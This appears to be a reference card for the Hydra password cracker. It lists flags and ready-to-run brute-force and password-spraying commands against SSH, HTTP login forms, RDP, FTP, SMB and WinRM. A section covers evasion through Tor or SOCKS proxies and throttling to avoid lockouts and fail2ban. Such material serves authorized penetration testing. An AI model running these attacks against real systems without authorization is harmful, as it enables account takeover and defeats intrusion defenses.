aeondave/hydra

Hydra

Fast, parallelized online password cracker for 50+ protocols.

Quick Start

# SSH brute-force
hydra -l admin -P passwords.txt ssh://192.168.1.10

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Multiple users + passwords
hydra -L users.txt -P passwords.txt ssh://192.168.1.10

Core Flags

| Flag | Description | |------|-------------| | -l <user> | Single username | | -L <file> | Username list | | -p <pass> | Single password | | -P <file> | Password list | | -u | Loop users before passwords (default: passwords first) | | -C <file> | Colon-delimited user:pass list | | -t <n> | Threads per host (default 16) | | -T <n> | Total parallel targets | | -s <port> | Custom port | | -S | Use SSL/TLS | | -o <file> | Output found credentials | | -f | Stop after first valid pair (per host) | | -F | Stop after first valid pair (all hosts) | | -v | Verbose | | -V | Very verbose (show each attempt) | | -d | Debug | | -R | Restore previous session | | -I | Ignore existing restore file (start fresh) | | -e nsr | Try: n=empty pass, s=user as pass, r=reversed user | | -w <sec> | Wait time for server response (default 32s) | | -W <sec> | Wait between connect attempts per thread (rate throttle) | | -x proto | SOCKS5/HTTP proxy: -x socks5://127.0.0.1:1080 |

Supported Modules (Common)

ssh, ftp, http-get, http-post-form, https-post-form, smb, rdp, winrm, imap, pop3, smtp, mysql, postgres, mssql, telnet, vnc, ldap2, redis

Common Workflows

# SSH with user list
hydra -L users.txt -P rockyou.txt ssh://10.10.10.10 -t 4

# HTTP form login
hydra -l admin -P passwords.txt 10.10.10.10 http-post-form \
  "/admin/login.php:username=^USER^&password=^PASS^:Wrong password"

# RDP brute-force
hydra -l administrator -P passwords.txt rdp://10.10.10.10

# FTP
hydra -l ftp -P passwords.txt ftp://10.10.10.10

# SMB password spray (single password, many users)
hydra -L users.txt -p "Summer2024!" smb://10.10.10.10

# WinRM
hydra -l administrator -P passwords.txt winrm://10.10.10.10

# Rate-limited (avoid lockouts)
hydra -l admin -P passwords.txt ssh://10.10.10.10 -t 1 -W 3

Proxy / Evasion

# Route through SOCKS5 (Tor or pivoting)
hydra -l admin -P passwords.txt -x socks5://127.0.0.1:1080 ssh://10.10.10.10

# HTTP proxy
hydra -l admin -P passwords.txt -x http://127.0.0.1:8080 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid"

Tips

• Use -e nsr for quick wins (null, same as user, reversed)
• Set -t 1-4 for protocols with lockout policies (RDP, SMB, WinRM)
• -W 3 adds 3s between connect attempts per thread — avoids fail2ban bans
• -w controls response timeout; increase for slow targets (e.g., -w 10)
• For HTTP forms: identify failure_message from the response body
• Use -I to ignore leftover restore files from previous interrupted runs

Resources

| File | When to load | |------|--------------| | references/protocols.md | Module syntax for each protocol, POST form detection, HTTPS handling |